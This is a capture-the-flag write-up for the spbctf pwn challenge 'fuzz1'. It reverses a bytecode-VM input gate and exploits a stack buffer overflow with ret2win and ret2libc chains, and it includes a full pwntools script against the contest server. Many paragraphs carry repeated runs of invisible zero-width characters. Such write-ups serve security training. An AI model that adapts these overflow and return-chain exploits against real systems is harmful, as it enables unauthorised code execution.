← Back to Writeups
CUSTOMEasypwn

fuzz1

XESXOR9/2/20264 min read
#pwn#custom#easy#gate_bypass#ret2libc#ret2win#stack_alignment_ret_gadget#stack_buffer_overflow#vm_bytecode_disassembly#linux

fuzz1

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: gate_bypass, ret2libc, ret2win, stack_alignment_ret_gadget, stack_buffer_overflow, vm_bytecode_disassembly

Summary

Task: CIL-generated bytecode-VM pwn binary; a VM gate ('13' prefix + exactly four dots) guards a classic fgets stack overflow with no canary/no PIE. Solution: disassemble the 374-byte VM program, pass the gate with '13....', overflow at offset 64 and ret2win to fukc()->system("sh").

fuzz1 — spbctf

Description

Fuzz for beginners. nc 109.233.56.90 11781 Files: fuzz1.elf, result.c (from https://pwn.spbctf.ru/files/fuzz/fuzz1/)

A CIL-generated bytecode-VM binary. It is a classic beginner stack buffer overflow, but the vulnerable fgets is only reachable after passing a gate check that is implemented inside a small stack virtual machine. The stated flag format was CODEBY{...}, but the real server flag is SPBCTF{REDACTED}.

Analysis

Binary recon

  • file: ELF 64-bit LSB x86-64, dynamically linked, not stripped.
  • checksec: No canary, No PIE (base 0x400000), NX enabled, Partial RELRO. SHSTK/IBT are reported enabled but are not enforced on the remote — a plain return-address overwrite works fine.
  • Symbols of interest:
    • f1 @ 0x401196 — the VM interpreter
    • fukc @ 0x4019c1 — win gadget, does system("sh") (string "sh" @ 0x402248, system PLT.sec @ 0x401090)
    • main @ 0x4019dd
  • Useful gadgets: ret @ 0x40101a, pop rdi ; ret @ 0x401a83. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Source analysis (result.c)

main() reads only 16 bytes and hands them to the VM:

c
void main(void) {
    char buf[16];
    printf("Enter1\n");
    fgets(buf, 16, stdin);
    f1(buf);
}

f1 is a stack-based bytecode virtual machine (CIL print_CIL_Input style). It interprets the global byte array _1_f1_$array[1][374] with a switch-based dispatch loop. Opcodes are an enum (load/store/constant/local/formal/global/goto/branchIfTrue/ Eq/Lt/PlusA/Mult/IndexPI/call/return, etc.), each encoded as one byte followed by a 4- or 8-byte little-endian operand. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

I wrote a tiny Python disassembler (vm_disasm.py) to decode the 374-byte program by locating the array in .data via its known prefix bytes. The decoded logic is equivalent to:

c
count = 0; i = 0;
len = strlen(buf);                 // VM "call 1" -> strlen(locals+16) -> locals+28
for (i = 0; i < len; i++)
    if (buf[i] == '.') count++;
if (count == 4)                    // exactly four dots
    if (buf[0] == '1')             // '1' == 49
        if (buf[1] == '3')         // '3' == 51
            fgets(&locals[40], 1000, stdin);   // VM "call 2" -> OVERFLOW
return 0;

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So the gate to reach the vulnerable fgets is: the input to main() must contain exactly four . characters and start with "13". The input 13.... satisfies all three conditions.

The vulnerability

The call 2 opcode handler in f1 runs:

c
fgets(*((char **)(_1_f1_$locals + 32)), 1000,
      *((FILE **)(_1_f1_$locals + 56)));

Trap: reading the C literally suggests the destination is locals+32. But the VM first stores a pointer at locals+32 that points to locals+40 (opcodes local 40 ; PlusPI ... ; store_void* -> locals[32]). So the real write target is &locals[40]. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

_1_f1_$locals lives at rbp-0x60 (the local opcode handler uses lea -0x60(%rbp) as its base, confirmed in the disassembly). Therefore:

dest        = rbp - 0x60 + 40 = rbp - 0x38
saved RIP   = rbp + 8
offset      = 0x38 + 8 = 64 bytes

fgets(dest, 1000, stdin) reads up to 1000 bytes into rbp-0x38, smashing the saved RBP and saved RIP. Offset from dest to saved RIP is 64 bytes (not 56/328 that a naive locals+32/locals+40 reading might suggest — the pointer indirection is the gotcha). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Everything travels over a single stdin, in two stages:

  1. Stage 1 (main's fgets, 16 bytes): 13.... — passes the VM gate and reaches the inner fgets.
  2. Stage 2 (f1's fgets, 1000 bytes): b'A'*64 + p64(ret) + p64(fukc)
    • ret = 0x40101a — a single ret for 16-byte stack alignment before system (avoids the movaps SIGSEGV).
    • fukc = 0x4019c1 — system("sh").

Then send shell commands (cat flag.txt). Flag is at /app/flag.txt on the remote.

An equivalent ret2libc chain also works remotely: b'A'*64 + p64(ret) + p64(pop_rdi=0x401a83) + p64(sh=0x402248) + p64(system_plt=0x401090). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *
import time

context.arch = 'amd64'

HOST, PORT = '109.233.56.90', 11781

fukc       = 0x4019c1   # system("sh")
ret        = 0x40101a   # stack alignment
pop_rdi    = 0x401a83
sh         = 0x402248   # "sh"
system_plt = 0x401090

io = remote(HOST, PORT)
io.recvuntil(b'Enter1')                     # banner

# Stage 1: pass the VM gate ('13' prefix + exactly four dots)
io.sendline(b'13....')

# Stage 2: overflow at offset 64 -> ret2win
payload = b'A' * 64 + p64(ret) + p64(fukc)
# Equivalent ret2libc chain:
# payload = b'A'*64 + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system_plt)
io.sendline(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

time.sleep(0.5)
io.sendline(b'cat flag* /app/flag* 2>/dev/null; ls -la')
print(io.recvall(timeout=3).decode(errors='replace'))

Gotcha worth documenting

Local testing under Docker --platform linux/amd64 on an arm64 macOS host (qemu-user emulation) corrupted register/syscall arguments, so both the fukc jump and the ret2libc chain appeared to fail locally (SIGSEGV, garbled write() syscall args) — even though RIP control at offset 64 was demonstrably correct (jumping to main re-printed Enter1 twice). The exploit ran perfectly against the real remote x86-64 on the first attempt. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lesson: don't trust qemu-user emulation for system()/ret2libc validation. Validate the overflow offset with a benign target (e.g. jump back to main), then trust the remote. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍